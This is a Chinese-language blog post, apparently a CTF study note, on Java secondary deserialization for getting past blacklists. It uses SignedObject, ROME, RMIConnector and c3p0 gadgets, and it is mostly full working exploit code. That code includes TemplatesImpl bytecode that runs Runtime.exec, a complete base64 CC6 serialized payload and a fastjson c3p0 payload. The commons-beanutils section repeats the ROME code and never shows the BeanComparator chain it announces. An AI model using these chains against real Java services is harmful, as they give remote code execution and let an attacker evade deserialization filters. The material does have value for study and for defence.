前言
简单介绍下二次反序列化,顾名思义,就是反序列化两次,其主要意义是绕过**黑名单的限制或不出网利用,**有些CTF题把一大堆关键类全都ban了,这就让人无从下手,二次反序列化就是为此而生的
SignedObject
原理
看构造函数,接受一个可序列化的对象,再进行一次序列化,简直不要太perfect
关注一下这个类的getObject
方法,this.content
可控,且进行了反序列化
简单的构造一个恶意的SignedObject
java
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象,kp.getPrivate(), Signature.getInstance("DSA"));
然后调用SignedObject
的getObject
方法即可,现在的问题是去哪调用这个方法
rome链
ToStringBean
上篇文章刚讲过rome链,可以调用任意get方法,结合一下就能实现二次反序列化了
java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.time.temporal.Temporal;
import java.util.HashMap;
public class toStringBean {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return ct;
}
public static HashMap getPayload(Class clazz, Object obj) {
ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "rand");
return hashMap;
}
public static void Unser(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templatesImpl, "_name", "x");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
Unser(hashMap2);
}
}
大概的流程是这样的:hashMap2:readObject()->signedObject:getObject->hashMap1:readObject
EqualsBean
rome的另一条链,通过euqals来触发
java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
public class equalsBean {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return ct;
}
public static void Unser(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static Hashtable getPayload(Class clazz, Object obj) throws NoSuchFieldException, IllegalAccessException {
EqualsBean bean = new EqualsBean(String.class, "s");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", obj);
map2.put("zZ", bean);
map2.put("yy", obj);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
setFieldValue(bean, "_beanClass", clazz);
setFieldValue(bean, "_obj", obj);
return table;
}
public static void main(String[] args) throws NoSuchAlgorithmException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templatesImpl, "_name", "x");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
Hashtable table1 = getPayload(Templates.class, templatesImpl);
SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));
Hashtable table2 = getPayload(SignedObject.class, signedObject);
Unser(table2);
}
}
虽然有报错,但没啥大影响
commons-beanutils链
回想以前学过的,还有什么能调用到getter呢?CB链中有个这个类BeanComparator
BeanComparator
很熟悉了
java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.time.temporal.Temporal;
import java.util.HashMap;
public class toStringBean {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return ct;
}
public static HashMap getPayload(Class clazz, Object obj) {
ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "rand");
return hashMap;
}
public static void Unser(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templatesImpl, "_name", "x");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
Unser(hashMap2);
}
}
RMIConnector
这个类是javax.management
下一个与远程 rmi 连接器的连接类,看findRMIServerJRMP
这个方法,符合我们的需求
找谁调用了findRMIServerJRMP
,类中方法findRMIServer
调用了,不过得满足path.startsWith("/stub/")
继续往上找,类中方法connect
调用了,jmxServiceURL
是类中属性,可以通过反射修改,得满足rmiServer==null
这个构造方法刚好满足
给出构造形式:
java
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
现在想办法调用connect就行了
CC链
任意调用方法,CC链yyds,这里base64的是CC6的数据
java
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class rmiConnector {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void Unser(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, rmiConnector);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
map.remove(rmiConnector);
setFieldValue(lazymap, "factory", invokerTransformer);
Unser(hashMap);
}
}
WrapperConnectionPoolDataSource
WrapperConnectionPoolDataSource
继承于WrapperConnectionPoolDataSourceBase
,在WrapperConnectionPoolDataSourceBase
中存在属性userOverridesAsString
及其setter方法setUserOverridesAsString
,触发fireVetoableChange
事件处理
在WrapperConnectionPoolDataSource
中有个判断当其属性为userOverridesAsString
时,将调用parseUserOverridesAsString
方法
进入parseUserOverridesAsString
方法,截取HexAsciiSerializedMap
之后的内容,进入到fromByteArray
最后进入到deserializeFromByteArray
中,进行二次反序列化
结合fastjson来exploit
java
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"rand2": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
}
}
hexstring就是我们的恶意类代码
结尾
二次反序列化到此为止,以后若有其它方式,再继续补充